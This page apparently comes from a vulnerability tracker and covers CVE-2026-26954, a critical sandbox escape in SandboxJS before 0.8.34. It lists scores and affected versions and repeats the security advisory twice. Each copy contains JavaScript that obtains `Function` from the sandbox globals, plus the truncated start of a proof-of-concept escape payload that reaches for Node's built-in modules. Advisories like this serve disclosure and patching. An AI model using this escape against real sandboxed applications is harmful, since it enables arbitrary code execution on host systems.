CVE-2026-26954
published 2026-03-13CVE-2026-26954: SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an…
PriorityP358critical10CVSS 3.1
AVNACLPRNUINSCCHIHAH
EPSS
0.55%
41.6th percentile
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| nyariv | sandboxjs | < 0.8.34 | 0.8.34 |
| nyariv | sandboxjs | >= 0 < 0.8.34 | 0.8.34 |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
SandboxJS affected by a Sandbox Escape
ghsa·2026-03-13
CVE-2026-26954 [CRITICAL] CWE-94 SandboxJS affected by a Sandbox Escape
SandboxJS affected by a Sandbox Escape
### Summary
It is possible to obtain arrays containing `Function`, which allows escaping the sandbox.
### Details
There are various ways to get an array containing `Function`, e.g.
```js
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
```
Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.
### PoC
```js
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModul
OSV
SandboxJS affected by a Sandbox Escape
osv·2026-03-13
CVE-2026-26954 [CRITICAL] SandboxJS affected by a Sandbox Escape
SandboxJS affected by a Sandbox Escape
### Summary
It is possible to obtain arrays containing `Function`, which allows escaping the sandbox.
### Details
There are various ways to get an array containing `Function`, e.g.
```js
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
```
Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.
### PoC
```js
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModul
No detection rules found.
No public exploits indexed.
2026-03-13
Published